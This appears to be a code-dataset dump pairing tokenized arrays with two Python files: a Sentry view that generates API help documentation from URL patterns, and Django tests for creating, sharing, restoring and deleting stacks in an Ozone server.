29897, 13, 1678, 4974, 1583, 3032, 8513, 29892, 525, 8513, 1818, 367, 731, 6169, 13, 1678, 565, 1583, 3032, 8513, 1275, 525, 14968, 2396, 13, 418, 565, 1583, 3032, 6758, 29918, 1853, 1275, 3619, 29889, 4741, 29918, 3927, 1799, 29901, 13, 4706, 396, 910, 338, 15703, 29899, 1454, 3277, 4464, 29892, 577, 6755, 3158, 1021, 408, 17919, 3158, 29889, 13, 4706, 3158, 29918, 13140, 353, 17919, 29918, 4622, 29918, 2467, 29918, 13140, 13, 418, 25342, 1583, 3032, 6758, 29918, 1853, 1275, 3619, 29889, 2477, 29918, 3927, 1799, 29901, 13, 4706, 396, 14542, 852, 2446, 282, 1562, 515, 6976, 4978, 975, 2446, 7243, 359, 13, 4706, 3158, 29918, 13140, 353, 15886, 29886, 29889, 27691, 29879, 29889, 29907, 20440, 936, 29898, 13, 9651, 1480, 1169, 29922, 14748, 29918, 4905, 29889, 22197, 29918, 1188, 1169, 467, 11249, 580, 13, 418, 1683, 29901, 13, 4706, 12020, 7865, 2392, 877, 25807, 29884, 3016, 287, 6410, 1134, 6571, 4286, 4830, 29898, 1311, 3032, 6758, 29918, 1853, 876, 13, 1678, 1683, 29901, 13, 418, 396, 512, 1661, 29899, 14968, 18893, 29892, 6755, 1395, 287, 2354, 29889, 13, 418, 3158, 29918, 13140, 353, 15886, 29889, 1191, 3317, 29898, 14748, 29918, 4905, 29889, 22197, 29918, 1188, 1169, 29892, 9685, 10457, 29896, 29897, 13, 1678, 3158, 29918, 791, 353, 8829, 29918, 4905, 29889, 26739, 362, 29961, 3075, 1934, 29889, 6007, 29940, 29918, 1367, 29903, 3816, 2467, 29918, 13140, 29962, 13, 1678, 8898, 29918, 1188, 22795, 353, 15886, 29889, 15755, 29889, 1188, 29918, 2695, 3317, 29898, 14748, 29918, 4905, 29889, 22197, 29918, 1188, 1169, 29897, 13, 1678, 736, 3619, 29889, 29909, 2801, 4276, 29898, 13, 4706, 10434, 29918, 2467, 29918, 13140, 29922, 524, 29898, 2467, 29918, 13140, 29889, 23749, 25739, 13, 4706, 17919, 29918, 4622, 29918, 2467, 29918, 13140, 29922, 524, 29898, 11347, 29918, 4622, 29918, 2467, 29918, 13140, 29889, 23749, 25739, 13, 4706, 3158, 29918, 791, 29922, 524, 29898, 2467, 29918, 791, 29889, 23749, 25739, 13, 4706, 1480, 29918, 22795, 29922, 7411, 29898, 22197, 29918, 1188, 22795, 29961, 2467, 29918, 13140, 1822, 23749, 22130, 13, 13, 29871, 822, 3814, 29918, 7168, 29918, 2467, 29898, 1311, 29892, 10823, 29918, 4905, 29892, 10823, 29918, 3859, 29892, 10823, 29918, 8758, 29892, 13, 462, 4706, 8829, 29918, 4905, 29892, 8829, 29918, 8758, 29892, 22913, 29918, 2311, 29892, 18987, 29918, 2015, 18162, 29892, 13, 462, 4706, 10430, 29922, 29896, 29889, 29900, 1125, 13, 13, 1678, 2847, 29918, 6272, 29918, 3859, 353, 8829, 29918, 8758, 29889, 657, 29918, 3859, 580, 13, 1678, 2847, 29918, 2230, 29918, 10568, 353, 8829, 29918, 4905, 29889, 26739, 362, 29961, 3075, 1934, 29889, 15307, 29918, 1254, 15488, 29962, 13, 1678, 22913, 353, 518, 9435, 29889, 3247, 9450, 2792, 29898, 13628, 29922, 29900, 29892, 13, 462, 462, 10823, 29918, 4905, 29922, 14748, 29918, 4905, 29892, 13, 462, 462, 10823, 29918, 3859, 29922, 14748, 29918, 3859, 29892, 13, 462, 462, 8829, 29918, 4905, 29922, 6272, 29918, 4905, 29892, 13, 462, 462, 8829, 29918, 3859, 29922, 11228, 29918, 6272, 29918, 3859, 29892, 13, 462, 462, 3158, 29918, 18434, 11759, 2314, 29962, 13, 1678, 18987, 29918, 10568, 353, 29871, 29896, 13, 1678, 1550, 5852, 29901, 13, 418, 2446, 29918, 915, 314, 353, 5159, 13, 418, 363, 2106, 297, 22913, 29901, 13, 4706, 565, 2106, 29889, 2467, 29918, 18434, 322, 313, 3859, 29889, 2467, 29918, 18434, 14352, 29896, 1822, 2467, 29918, 791, 13, 462, 462, 268, 1275, 17727, 29889, 1254, 4590, 29918, 6632, 2287, 29918, 1367, 1125, 13, 3986, 396, 10802, 338, 2309, 29889, 910, 2113, 29915, 29873, 367, 25312, 297, 8829, 29918, 4905, 29889, 15091, 1951, 13, 3986, 396, 5040, 8820, 526, 451, 8560, 2645, 18987, 29889, 13, 3986, 2446, 29918, 915, 314, 29889, 4397, 29898, 3859, 29897, 13, 3986, 6773, 13, 4706, 396, 10987, 278, 22913, 29918, 2311, 1900, 2446, 8820, 2729, 373, 8898, 1480, 6976, 29889, 13, 4706, 954, 29918, 7387, 353, 15886, 29889, 755, 29889, 2798, 29918, 5464, 9171, 29898, 3859, 29889, 6272, 29918, 4905, 29889, 26739, 362, 29961, 13, 9651, 17727, 29889, 6007, 29940, 29918, 1367, 29903, 29962, 6736, 17727, 29889, 1254, 4590, 29918, 6632, 2287, 29918, 1367, 467, 23749, 580, 13, 4706, 8898, 29918, 1188, 22795, 353, 15886, 29889, 15755, 29889, 1188, 29918, 2695, 3317, 29898, 13, 9651, 2106, 29889, 14748, 29918, 4905, 29889, 22197, 29918, 1188, 1169, 847, 10430, 29897, 13, 4706, 1480, 22795, 29892, 474, 29916, 353, 15886, 29889, 755, 29889, 3332, 29918, 29895, 29898, 13, 9651, 8898, 29918, 1188, 22795, 29892, 413, 29922, 1195, 29898, 1949, 29918, 7387, 29892, 22913, 29918, 2311, 876, 13, 4706, 3158, 29918, 791, 29879, 353, 15886, 29889, 29887, 1624, 29898, 13, 9651, 2106, 29889, 6272, 29918, 4905, 29889, 26739, 362, 29961, 3075, 1934, 29889, 6007, 29940, 29918, 1367, 29903, 1402, 474, 29916, 29897, 13, 4706, 17919, 29918, 2467, 353, 2106, 29889, 6272, 29918, 4905, 29889, 26739, 362, 29961, 13, 9651, 17727, 29889, 1955, 2477, 1307, 29918, 29940, 12194, 29918, 24705, 29962, 13, 4706, 17919, 29918, 2467, 29918, 513, 1575, 353, 15886, 29889, 3062, 29898, 13, 9651, 15886, 29889, 11745, 29898, 3859, 29889, 6272, 29918, 4905, 29889, 26739, 362, 29961, 3075, 1934, 29889, 6007, 29940, 29918, 1367, 29903, 1402, 13, 462, 268, 17919, 29918, 2467, 876, 13, 4706, 17919, 29918, 2467, 29918, 13140, 353, 15886, 29889, 17469, 29918, 1195, 29898, 11347, 29918, 2467, 29918, 513, 1575, 29897, 13, 13, 4706, 396, 12027, 392, 1269, 3158, 322, 788, 304, 278, 22913, 363, 278, 2446, 12541, 29889, 13, 4706, 363, 432, 29892, 3158, 29918, 791, 297, 26985, 29898, 2467, 29918, 791, 29879, 29889, 23749, 580, 1125, 13, 3986, 2446, 29918, 2467, 353, 3619, 29889, 29909, 2801, 4276, 29898, 13, 795, 10434, 29918, 2467, 29918, 13140, 29922, 524, 29898, 861, 29961, 29926, 1822, 23749, 25739, 13, 795, 17919, 29918, 4622, 29918, 2467, 29918, 13140, 29922, 524, 29898, 11347, 29918, 2467, 29918, 13140, 29889, 23749, 25739, 13, 795, 3158, 29918, 791, 29922, 524, 29898, 2467, 29918, 791, 511, 13, 795, 1480, 29918, 22795, 29922, 7411, 29898, 1188, 22795, 29961, 29926, 1822, 23749, 22130, 13, 3986, 565, 3158, 29918, 791, 1275, 17727, 29889, 1254, 4590, 29918, 6632, 2287, 29918, 1367, 29901, 13, 9651, 396, 3872, 29915, 29873, 2189, 5040, 8820, 607, 7135, 263, 716, 12720, 393, 508, 29915, 29873, 13, 9651, 396, 367, 10092, 773, 731, 29918, 3859, 29889, 13, 9651, 2446, 29918, 3859, 353, 3619, 29889, 3247, 9450, 2792, 29898, 13, 18884, 8158, 29922, 3859, 29889, 13628, 718, 1480, 22795, 29961, 29926, 1402, 13, 18884, 10823, 29918, 4905, 29922, 3859, 29889, 14748, 29918, 4905, 29892, 13, 18884, 10823, 29918, 3859, 29922, 3859, 29889, 14748, 29918, 3859, 29892, 13, 18884, 8829, 29918, 4905, 29922, 3859, 29889, 6272, 29918, 4905, 29892, 13, 18884, 8829, 29918, 3859, 29922, 3859, 29889, 6272, 29918, 3859, 29892, 13, 18884, 3158, 29918, 18434, 29922, 3859, 29889, 2467, 29918, 18434, 718, 518, 4622, 29918, 2467, 2314, 13, 3986, 1683, 29901, 13, 9651, 396, 27313, 278, 1661, 29899, 9847, 3158, 29889, 13, 9651, 8829, 29918, 8758, 29889, 842, 29918, 3859, 29898, 3859, 29889, 6272, 29918, 3859, 29897, 13, 9651, 2446, 29918, 6272, 29918, 4905, 353, 8829, 29918, 8758, 29889, 10568, 29898, 2467, 29918, 791, 29897, 13, 9651, 2446, 29918, 6272, 29918, 4905, 353, 3667, 29879, 29889, 1202, 29918, 2230, 29918, 16175, 29918, 6229, 29898, 4622, 29918, 6272, 29918, 4905, 29897, 13, 9651, 2446, 29918, 14748, 29918, 4905, 29892, 2446, 29918, 14748, 29918, 3859, 353, 10823, 29918, 8758, 29898, 13, 18884, 2446, 29918, 6272, 29918, 4905, 29892, 2106, 29889, 14748, 29918, 3859, 29897, 13, 9651, 2446, 29918, 6272, 29918, 4905, 29892, 2446, 29918, 14748, 29918, 4905, 353, 3667, 29879, 29889, 5992, 29918, 2230, 29918, 16175, 29918, 6229, 29898, 13, 18884, 2446, 29918, 6272, 29918, 4905, 29892, 2446, 29918, 14748, 29918, 4905, 29897, 13, 9651, 2446, 29918, 3859, 353, 3619, 29889, 3247, 9450, 2792, 29898, 13, 18884, 8158, 29922, 3859, 29889, 13628, 718, 1480, 22795, 29961, 29926, 1402, 13, 18884, 10823, 29918, 4905, 29922, 4622, 29918, 14748, 29918, 4905, 29892, 13, 18884, 10823, 29918, 3859, 29922, 4622, 29918, 14748, 29918, 3859, 29892, 13, 18884, 8829, 29918, 4905, 29922, 4622, 29918, 6272, 29918, 4905, 29892, 13, 18884, 8829, 29918, 3859, 29922, 6272, 29918, 8758, 29889, 657, 29918, 3859, 3285, 13, 18884, 3158, 29918, 18434, 29922, 3859, 29889, 2467, 29918, 18434, 718, 518, 4622, 29918, 2467, 2314, 13, 3986, 2446, 29918, 915, 314, 29889, 4397, 29898, 4622, 29918, 3859, 29897, 13, 13, 418, 822, 903, 1188, 29918, 915, 314, 29898, 915, 314, 1125, 13, 4706, 363, 2944, 297, 22913, 29901, 13, 3986, 2224, 29918, 1807, 353, 11297, 29873, 4286, 7122, 29898, 13, 795, 518, 710, 29898, 29874, 29889, 2467, 29918, 791, 29897, 363, 263, 297, 2944, 29889, 2467, 29918, 18434, 2314, 13, 3986, 8158, 29918, 1807, 353, 11297, 29873, 4286, 7122, 29898, 13, 795, 6024, 15543, 29946, 29888, 29915, 1273, 263, 29889, 1188, 29918, 22795, 363, 263, 297, 2944, 29889, 2467, 29918, 18434, 2314, 13, 3986, 12183, 29889, 8382, 877, 20097, 29901, 1678, 18695, 29946, 29888, 742, 2944, 29889, 13628, 29897, 13, 3986, 12183, 29889, 8382, 877, 3403, 2070, 29901, 1273, 29879, 742, 8158, 29918, 1807, 29897, 13, 3986, 12183, 29889, 8382, 877, 7789, 567, 29901, 1678, 1273, 29879, 742, 2224, 29918, 1807, 29897, 13, 13, 418, 396, 4367, 24551, 278, 2446, 22913, 304, 871, 278, 2246, 22913, 29918, 2311, 10898, 29889, 13, 418, 22913, 353, 12705, 29898, 4622, 29918, 915, 314, 29892, 11837, 29922, 5574, 29892, 1820, 29922, 6891, 29889, 5552, 657, 357, 877, 13628, 8785, 13, 418, 22913, 353, 22913, 7503, 915, 314, 29918, 2311, 29962, 13, 418, 12183, 29889, 8382, 877, 3247, 9450, 4331, 1273, 29881, 742, 18987, 29918, 10568, 29897, 13, 418, 903, 1188, 29918, 915, 314, 29898, 915, 314, 29897, 13, 13, 418, 396, 28301, 565, 599, 23238, 526, 2309, 29889, 13, 418, 565, 599, 29898, 667, 29889, 2467, 29918, 18434, 14352, 29896, 1822, 2467, 29918, 791, 1275, 17727, 29889, 1254, 4590, 29918, 6632, 2287, 29918, 1367, 13, 632, 363, 2944, 297, 22913, 1125, 13, 4706, 2867, 13, 13, 418, 396, 28301, 565, 13461, 287, 18987, 29918, 2015, 18162, 29889, 13, 418, 565, 18987, 29918, 10568, 6736, 18987, 29918, 2015, 18162, 29901, 13, 4706, 2867, 13, 13, 418, 396, 28301, 565, 591, 526, 18987, 8724, 278, 4236, 8820, 639, 12720, 29892, 1951, 445, 13, 418, 396, 674, 884, 7135, 263, 716, 12720, 313, 17642, 408, 278, 5040, 3158, 467, 13, 418, 565, 2847, 29918, 2230, 29918, 10568, 718, 18987, 29918, 10568, 6736, 8829, 29918, 8758, 3032, 3317, 29918, 7387, 29918, 546, 29918, 1022, 275, 356, 29901, 259, 13, 4706, 2867, 13, 418, 18987, 29918, 10568, 4619, 29871, 29896, 13, 13, 1678, 396, 11654, 487, 278, 5177, 304, 372, 29915, 29879, 2847, 2106, 577, 278, 10823, 508, 1603, 1044, 29889, 13, 1678, 8829, 29918, 8758, 29889, 842, 29918, 3859, 29898, 11228, 29918, 6272, 29918, 3859, 29897, 13, 1678, 736, 22913, 29961, 29900, 1822, 2467, 29918, 18434, 13, 13, 29871, 822, 19745, 29898, 1311, 29892, 3158, 29918, 1761, 29892, 8829, 29918, 4905, 29918, 1761, 1125, 13, 1678, 1121, 353, 6571, 13, 1678, 363, 1820, 29892, 7876, 297, 1583, 3032, 14513, 29918, 8977, 29889, 7076, 7295, 13, 418, 8158, 353, 7876, 29898, 2467, 29918, 1761, 29892, 8829, 29918, 4905, 29918, 1761, 29892, 1583, 3032, 6272, 29897, 13, 418, 1121, 29961, 1989, 29962, 353, 8158, 13, 1678, 736, 1121, 13, 2 ]
src/sentry/api/views/help_base.py
ChadKillingsworth/sentry
0
175992
from __future__ import absolute_import import textwrap from django.contrib.admindocs.views import simplify_regex from django.utils.importlib import import_module from django.utils.text import slugify from sentry.api.base import Endpoint from sentry.constants import HTTP_METHODS from sentry.web.frontend.base import BaseView class ApiHelpBase(BaseView): auth_required = False def get_resources(self, section, prefix='/api/0/'): urls = import_module('sentry.api.urls') resources = [] for pattern in urls.urlpatterns: callback = self.__get_resource_callback(pattern, prefix) if callback is None: continue if getattr(callback, 'doc_section', None) != section: continue data = self.__get_resource_data(pattern, prefix, callback) resources.append(data) return sorted(resources, key=lambda x: x['path']) def get_sections(self, prefix=''): resource_list = sorted( (r for r in self.get_resources(prefix) if r['section']), key=lambda x: x['section'].value, ) section_list = [] last_section = None for resource in resource_list: if resource['section'] != last_section: section_list.append({ 'id': resource['section'].name, 'name': resource['section'].value, 'resources': [], }) section_list[-1]['resources'].append(resource) last_section = resource['section'] return section_list def __split_doc(self, doc, path): if doc: try: title, doc = textwrap.dedent(doc).strip().split('\n', 1) except ValueError: title, doc = doc, '' else: title = '' return title.strip(), doc.strip() def __format_doc(self, doc, params): return doc.format(**params) def __title_to_anchor(self, title): return slugify(title.decode('utf-8')) def __get_resource_callback(self, pattern, prefix): if not hasattr(pattern, 'callback'): return if hasattr(pattern.callback, 'cls'): callback = pattern.callback.cls if not issubclass(callback, Endpoint): return elif hasattr(pattern.callback, 'cls_instance'): callback = pattern.callback.cls_instance if not isinstance(callback, Endpoint): return else: return return callback def __get_resource_data(self, pattern, prefix, callback): path = simplify_regex(pattern.regex.pattern) path = path.replace('<', '{').replace('>', '}') full_path = prefix.rstrip('/') + path methods = [] for method_name in HTTP_METHODS: if method_name == 'OPTIONS': continue method = getattr(callback, method_name.lower(), None) if method is None: continue title, docstring = self.__split_doc(method.__doc__ or '', path=path) if not title: title = '{} {}'.format(method_name, path) methods.append({ 'verb': method_name, 'path': full_path, 'title': title, 'anchor': self.__title_to_anchor(title), 'doc': self.__format_doc(docstring, { 'path': full_path, 'method': method_name, }), }) return { 'path': full_path, 'methods': methods, 'section': getattr(callback, 'doc_section', None), }
[ 1, 515, 4770, 29888, 9130, 1649, 1053, 8380, 29918, 5215, 13, 13, 5215, 1426, 6312, 13, 13, 3166, 9557, 29889, 21570, 29889, 328, 24021, 12332, 29889, 7406, 1053, 21092, 29918, 13087, 13, 3166, 9557, 29889, 13239, 29889, 5215, 1982, 1053, 1053, 29918, 5453, 13, 3166, 9557, 29889, 13239, 29889, 726, 1053, 2243, 688, 1598, 13, 13, 3166, 2665, 719, 29889, 2754, 29889, 3188, 1053, 2796, 3149, 13, 3166, 2665, 719, 29889, 3075, 1934, 1053, 7331, 29918, 2303, 4690, 29949, 8452, 13, 3166, 2665, 719, 29889, 2676, 29889, 8862, 355, 29889, 3188, 1053, 7399, 1043, 13, 13, 13, 1990, 29749, 29648, 5160, 29898, 5160, 1043, 1125, 13, 1678, 4817, 29918, 12403, 353, 7700, 13, 13, 1678, 822, 679, 29918, 13237, 29898, 1311, 29892, 4004, 29892, 10944, 2433, 29914, 2754, 29914, 29900, 22208, 1125, 13, 4706, 23942, 353, 1053, 29918, 5453, 877, 29879, 8269, 29889, 2754, 29889, 26045, 1495, 13, 13, 4706, 7788, 353, 5159, 13, 4706, 363, 4766, 297, 23942, 29889, 2271, 11037, 29879, 29901, 13, 9651, 6939, 353, 1583, 17255, 657, 29918, 10314, 29918, 14035, 29898, 11037, 29892, 10944, 29897, 13, 9651, 565, 6939, 338, 6213, 29901, 13, 18884, 6773, 13, 9651, 565, 679, 5552, 29898, 14035, 29892, 525, 1514, 29918, 2042, 742, 6213, 29897, 2804, 4004, 29901, 13, 18884, 6773, 13, 9651, 848, 353, 1583, 17255, 657, 29918, 10314, 29918, 1272, 29898, 11037, 29892, 10944, 29892, 6939, 29897, 13, 9651, 7788, 29889, 4397, 29898, 1272, 29897, 13, 4706, 736, 12705, 29898, 13237, 29892, 1820, 29922, 2892, 921, 29901, 921, 1839, 2084, 11287, 13, 13, 1678, 822, 679, 29918, 27117, 29898, 1311, 29892, 10944, 2433, 29374, 13, 4706, 6503, 29918, 1761, 353, 12705, 29898, 13, 9651, 313, 29878, 363, 364, 297, 1583, 29889, 657, 29918, 13237, 29898, 13506, 29897, 565, 364, 1839, 2042, 2033, 511, 13, 9651, 1820, 29922, 2892, 921, 29901, 921, 1839, 2042, 13359, 1767, 29892, 13, 4706, 1723, 13, 13, 4706, 4004, 29918, 1761, 353, 5159, 13, 4706, 1833, 29918, 2042, 353, 6213, 13, 4706, 363, 6503, 297, 6503, 29918, 1761, 29901, 13, 9651, 565, 6503, 1839, 2042, 2033, 2804, 1833, 29918, 2042, 29901, 13, 18884, 4004, 29918, 1761, 29889, 4397, 3319, 13, 462, 1678, 525, 333, 2396, 6503, 1839, 2042, 13359, 978, 29892, 13, 462, 1678, 525, 978, 2396, 6503, 1839, 2042, 13359, 1767, 29892, 13, 462, 1678, 525, 13237, 2396, 19997, 13, 18884, 5615, 13, 9651, 4004, 29918, 1761, 14352, 29896, 22322, 13237, 13359, 4397, 29898, 10314, 29897, 13, 9651, 1833, 29918, 2042, 353, 6503, 1839, 2042, 2033, 13, 13, 4706, 736, 4004, 29918, 1761, 13, 13, 1678, 822, 4770, 5451, 29918, 1514, 29898, 1311, 29892, 1574, 29892, 2224, 1125, 13, 4706, 565, 1574, 29901, 13, 9651, 1018, 29901, 13, 18884, 3611, 29892, 1574, 353, 1426, 6312, 29889, 7176, 296, 29898, 1514, 467, 17010, 2141, 5451, 28909, 29876, 742, 29871, 29896, 29897, 13, 9651, 5174, 7865, 2392, 29901, 13, 18884, 3611, 29892, 1574, 353, 1574, 29892, 6629, 13, 4706, 1683, 29901, 13, 9651, 3611, 353, 6629, 13, 13, 4706, 736, 3611, 29889, 17010, 3285, 1574, 29889, 17010, 580, 13, 13, 1678, 822, 4770, 4830, 29918, 1514, 29898, 1311, 29892, 1574, 29892, 8636, 1125, 13, 4706, 736, 1574, 29889, 4830, 29898, 1068, 7529, 29897, 13, 13, 1678, 822, 4770, 3257, 29918, 517, 29918, 25367, 29898, 1311, 29892, 3611, 1125, 13, 4706, 736, 2243, 688, 1598, 29898, 3257, 29889, 13808, 877, 9420, 29899, 29947, 8785, 13, 13, 1678, 822, 4770, 657, 29918, 10314, 29918, 14035, 29898, 1311, 29892, 4766, 29892, 10944, 1125, 13, 4706, 565, 451, 756, 5552, 29898, 11037, 29892, 525, 14035, 29374, 13, 9651, 736, 13, 13, 4706, 565, 756, 5552, 29898, 11037, 29889, 14035, 29892, 525, 25932, 29374, 13, 9651, 6939, 353, 4766, 29889, 14035, 29889, 25932, 13, 13, 9651, 565, 451, 338, 1491, 1990, 29898, 14035, 29892, 2796, 3149, 1125, 13, 18884, 736, 13, 4706, 25342, 756, 5552, 29898, 11037, 29889, 14035, 29892, 525, 25932, 29918, 8758, 29374, 13, 9651, 6939, 353, 4766, 29889, 14035, 29889, 25932, 29918, 8758, 13, 13, 9651, 565, 451, 338, 8758, 29898, 14035, 29892, 2796, 3149, 1125, 13, 18884, 736, 13, 4706, 1683, 29901, 13, 9651, 736, 13, 13, 4706, 736, 6939, 13, 13, 1678, 822, 4770, 657, 29918, 10314, 29918, 1272, 29898, 1311, 29892, 4766, 29892, 10944, 29892, 6939, 1125, 13, 4706, 2224, 353, 21092, 29918, 13087, 29898, 11037, 29889, 13087, 29889, 11037, 29897, 13, 4706, 2224, 353, 2224, 29889, 6506, 877, 29966, 742, 22372, 2824, 6506, 877, 29958, 742, 525, 29913, 1495, 13, 13, 4706, 2989, 29918, 2084, 353, 10944, 29889, 29878, 17010, 11219, 1495, 718, 2224, 13, 13, 4706, 3519, 353, 5159, 13, 4706, 363, 1158, 29918, 978, 297, 7331, 29918, 2303, 4690, 29949, 8452, 29901, 13, 9651, 565, 1158, 29918, 978, 1275, 525, 14094, 27946, 2396, 13, 18884, 6773, 13, 9651, 1158, 353, 679, 5552, 29898, 14035, 29892, 1158, 29918, 978, 29889, 13609, 3285, 6213, 29897, 13, 9651, 565, 1158, 338, 6213, 29901, 13, 18884, 6773, 13, 13, 9651, 3611, 29892, 1574, 1807, 353, 1583, 17255, 5451, 29918, 1514, 29898, 5696, 17255, 1514, 1649, 470, 15516, 2224, 29922, 2084, 29897, 13, 13, 9651, 565, 451, 3611, 29901, 13, 18884, 3611, 353, 525, 8875, 6571, 4286, 4830, 29898, 5696, 29918, 978, 29892, 2224, 29897, 13, 13, 9651, 3519, 29889, 4397, 3319, 13, 18884, 525, 18248, 2396, 1158, 29918, 978, 29892, 13, 18884, 525, 2084, 2396, 2989, 29918, 2084, 29892, 13, 18884, 525, 3257, 2396, 3611, 29892, 13, 18884, 525, 25367, 2396, 1583, 17255, 3257, 29918, 517, 29918, 25367, 29898, 3257, 511, 13, 18884, 525, 1514, 2396, 1583, 17255, 4830, 29918, 1514, 29898, 1514, 1807, 29892, 426, 13, 462, 1678, 525, 2084, 2396, 2989, 29918, 2084, 29892, 13, 462, 1678, 525, 5696, 2396, 1158, 29918, 978, 29892, 13, 18884, 500, 511, 13, 9651, 5615, 13, 13, 4706, 736, 426, 13, 9651, 525, 2084, 2396, 2989, 29918, 2084, 29892, 13, 9651, 525, 23515, 2396, 3519, 29892, 13, 9651, 525, 2042, 2396, 679, 5552, 29898, 14035, 29892, 525, 1514, 29918, 2042, 742, 6213, 511, 13, 4706, 500, 13, 2 ]
ozone-framework-python-server/tests/stacks/test_stacks_api.py
aamduka/ozone
6
167559
from django.urls import reverse from django.test import TestCase from stacks.models import Stack from people.models import Person from rest_framework.test import APIClient from dashboards.models import Dashboard from domain_mappings.models import DomainMapping, MappingType from owf_groups.models import OwfGroupPeople requests = APIClient() class StacksApiTests(TestCase): fixtures = ['resources/fixtures/default_data.json', ] def tearDown(self): requests.logout() def setUp(self): self.admin_user = Person.objects.get(pk=1) self.regular_user = Person.objects.get(pk=2) self.stack = Stack.create(self.regular_user, { 'name': 'test stack 1', 'description': 'test description 1' }) def test_user_can_create_stack(self): requests.login(email='<EMAIL>', password='password') url = reverse('stacks-list') create_stack_payload = { 'name': 'test stack 2', 'description': 'testing user can create a stack' } response = requests.post(url, create_stack_payload) user_id = 2 # coming from the fixture that creates default users self.assertEqual(response.status_code, 201) self.assertTrue(response.data['id']) self.assertTrue(response.data['default_group']) self.assertEqual(response.data['name'], create_stack_payload['name']) self.assertEqual(response.data['description'], create_stack_payload['description']) self.assertTrue(response.data['stack_context']) self.assertEqual(response.data['owner']['id'], user_id) def test_owner_of_stack_can_share_stack(self): regular_user = Person.objects.get(pk=2) stack = Stack.create(regular_user, { 'name': 'test stack 1', 'description': 'test description 1' }) requests.login(email='<EMAIL>', password='password') url = reverse('stacks-share', args=(f'{stack.id}',)) response = requests.post(url) self.assertEqual(response.status_code, 204) def test_nonowner_of_stack_cannot_share_stack(self): regular_user = Person.objects.get(pk=2) stack = Stack.create(regular_user, { 'name': 'test stack 1', 'description': 'test description 1' }) requests.login(email='<EMAIL>', password='password') url = reverse('stacks-share', args=f'{stack.id}') response = requests.post(url) self.assertEqual(response.status_code, 403) def test_user_can_restore_stack(self): admin_user = Person.objects.get(pk=1) regular_user = Person.objects.get(pk=2) stack = Stack.create(admin_user, { 'name': 'test share stack', 'description': 'test description 1' }) stack.default_group.add_user(regular_user) regular_user.sync_dashboards() requests.login(email='<EMAIL>', password='password') url = reverse('stacks-restore', args=(f'{stack.id}',)) response = requests.post(url) self.assertEqual(response.status_code, 200) def test_admin_can_delete_stack(self): dashboard_ids_for_stack = list(Dashboard.objects.filter(stack=self.stack).values_list("id", flat=True)) stack_default_group_id = self.stack.default_group.id requests.login(email='<EMAIL>', password='password') url = reverse('admin_stacks-detail', args=(f'{self.stack.id}',)) response = requests.delete(url) self.assertEqual(response.status_code, 204) # check that all dashboards associated with the stack are deleted self.assertFalse(Dashboard.objects.filter(stack=self.stack).exists()) # check that all domain mappings for dashboards associated with the stack are deleted self.assertFalse(DomainMapping.objects.filter( src_id__in=dashboard_ids_for_stack, src_type=MappingType.dashboard) ) self.assertFalse(DomainMapping.objects.filter( dest_id__in=dashboard_ids_for_stack, dest_type=MappingType.dashboard) ) # check that all domain mappings for widgets assigned to the stack are deleted self.assertFalse(DomainMapping.objects.filter(src_id=stack_default_group_id, src_type=MappingType.group)) def test_nonadmin_can_delete_stack(self): requests.login(email='<EMAIL>', password='password') url = reverse('stacks-detail', args=(f'{self.stack.id}',)) reponse = requests.delete(url) self.assertFalse(OwfGroupPeople.objects.filter( group=self.stack.default_group, person=self.regular_user).exists() )
[ 1, 515, 9557, 29889, 26045, 1053, 11837, 30004, 13, 3166, 9557, 29889, 1688, 1053, 4321, 8259, 30004, 13, 3166, 5096, 29879, 29889, 9794, 1053, 10292, 30004, 13, 3166, 2305, 29889, 9794, 1053, 5196, 30004, 13, 3166, 1791, 29918, 4468, 29889, 1688, 1053, 3450, 4032, 30004, 13, 3166, 12569, 24691, 29889, 9794, 1053, 360, 1161, 3377, 30004, 13, 3166, 5354, 29918, 655, 27775, 29889, 9794, 1053, 28460, 15845, 29892, 341, 20304, 1542, 30004, 13, 3166, 8152, 29888, 29918, 13155, 29889, 9794, 1053, 438, 29893, 29888, 4782, 15666, 1991, 30004, 13, 30004, 13, 24830, 353, 3450, 4032, 26471, 13, 30004, 13, 30004, 13, 1990, 10292, 29879, 11713, 24376, 29898, 3057, 8259, 1125, 30004, 13, 1678, 5713, 486, 1973, 353, 6024, 13237, 29914, 7241, 486, 1973, 29914, 4381, 29918, 1272, 29889, 3126, 742, 4514, 30004, 13, 30004, 13, 1678, 822, 734, 279, 6767, 29898, 1311, 1125, 30004, 13, 4706, 7274, 29889, 1188, 449, 26471, 13, 30004, 13, 1678, 822, 731, 3373, 29898, 1311, 1125, 30004, 13, 4706, 1583, 29889, 6406, 29918, 1792, 353, 5196, 29889, 12650, 29889, 657, 29898, 20571, 29922, 29896, 8443, 13, 4706, 1583, 29889, 15227, 29918, 1792, 353, 5196, 29889, 12650, 29889, 657, 29898, 20571, 29922, 29906, 8443, 13, 30004, 13, 4706, 1583, 29889, 1429, 353, 10292, 29889, 3258, 29898, 1311, 29889, 15227, 29918, 1792, 29892, 3336, 13, 9651, 525, 978, 2396, 525, 1688, 5096, 29871, 29896, 23592, 13, 9651, 525, 8216, 2396, 525, 1688, 6139, 29871, 29896, 29915, 30004, 13, 4706, 5615, 30004, 13, 30004, 13, 1678, 822, 1243, 29918, 1792, 29918, 3068, 29918, 3258, 29918, 1429, 29898, 1311, 1125, 30004, 13, 4706, 7274, 29889, 7507, 29898, 5269, 2433, 29966, 26862, 6227, 29958, 742, 4800, 2433, 5630, 1495, 30004, 13, 4706, 3142, 353, 11837, 877, 1429, 29879, 29899, 1761, 1495, 30004, 13, 4706, 1653, 29918, 1429, 29918, 23813, 353, 3336, 13, 9651, 525, 978, 2396, 525, 1688, 5096, 29871, 29906, 23592, 13, 9651, 525, 8216, 2396, 525, 13424, 1404, 508, 1653, 263, 5096, 29915, 30004, 13, 4706, 4970, 13, 4706, 2933, 353, 7274, 29889, 2490, 29898, 2271, 29892, 1653, 29918, 1429, 29918, 23813, 8443, 13, 4706, 1404, 29918, 333, 353, 29871, 29906, 29871, 396, 6421, 515, 278, 5713, 15546, 393, 10017, 2322, 4160, 30004, 13, 30004, 13, 4706, 1583, 29889, 9294, 9843, 29898, 5327, 29889, 4882, 29918, 401, 29892, 29871, 29906, 29900, 29896, 8443, 13, 4706, 1583, 29889, 9294, 5574, 29898, 5327, 29889, 1272, 1839, 333, 2033, 8443, 13, 4706, 1583, 29889, 9294, 5574, 29898, 5327, 29889, 1272, 1839, 4381, 29918, 2972, 2033, 8443, 13, 4706, 1583, 29889, 9294, 9843, 29898, 5327, 29889, 1272, 1839, 978, 7464, 1653, 29918, 1429, 29918, 23813, 1839, 978, 2033, 8443, 13, 4706, 1583, 29889, 9294, 9843, 29898, 5327, 29889, 